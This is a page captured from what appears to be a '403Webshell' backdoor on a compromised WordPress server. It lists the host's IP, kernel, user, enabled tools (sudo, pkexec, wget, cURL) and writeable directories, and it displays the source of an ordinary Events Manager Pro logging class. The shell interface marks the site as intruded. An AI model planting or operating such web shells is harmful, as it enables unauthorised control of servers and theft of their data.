403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnew/wp-content/plugins/events-manager-pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnew/wp-content/plugins/events-manager-pro/emp-logs.php
<?php
class EMP_Logs{
	/**
	 * Creates a log entry in plugins/events-manager-logs/$log_name-yyyy-mm-dd-logs.txt
	 * @param string|array|object $log_text
	 * @param string $log_name
	 */
	public static function log( $log_text, $log_name ){
	    $log_directory = self::get_log_directory();
	    if( $log_directory ){
	    	$log_directory = apply_filters('em_logs_log_directory', $log_directory, $log_text, $log_name );
	    	$log_name = apply_filters('em_logs_log_name', $log_name, $log_text);
		    $file = @fopen( $log_directory.$log_name.'-'.date('Y-m-d').'.txt' ,'a+');
		    if( $file ){
		        if( is_array($log_text) || is_object($log_text) ){
		            ob_start();
		            if( is_array($log_text) && key($log_text) === 0 ){
		            	echo current($log_text) . "\n";
		            	array_shift($log_text);
		            }
		            @var_export($log_text);
		            $log_text = ob_get_clean();
		        }
		        fwrite($file, "\n".' ---- ['.date('Y-m-d H:i:s').'] ---------------------'."\n");
				fwrite($file, $log_text);
				fclose($file);
				return true;
		    }
	    }
	    return false;
	}
	
	public static function get_log_directory(){
	    $log_directory = WP_PLUGIN_DIR.'/events-manager-logs/';
	    if( !is_dir($log_directory) ){
	        //try to make a directory and create an .htaccess file
	    	if( @mkdir($log_directory, 0755) ){
	    	    $file = @fopen($log_directory.'.htaccess','w');
			    if( $file ){
					fwrite($file, 'deny from all');
					fclose($file);
					return $log_directory;
			    }
	    	}
	    }elseif( file_exists($log_directory.'.htaccess') ){
	        return $log_directory;
	    }
	    return false;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit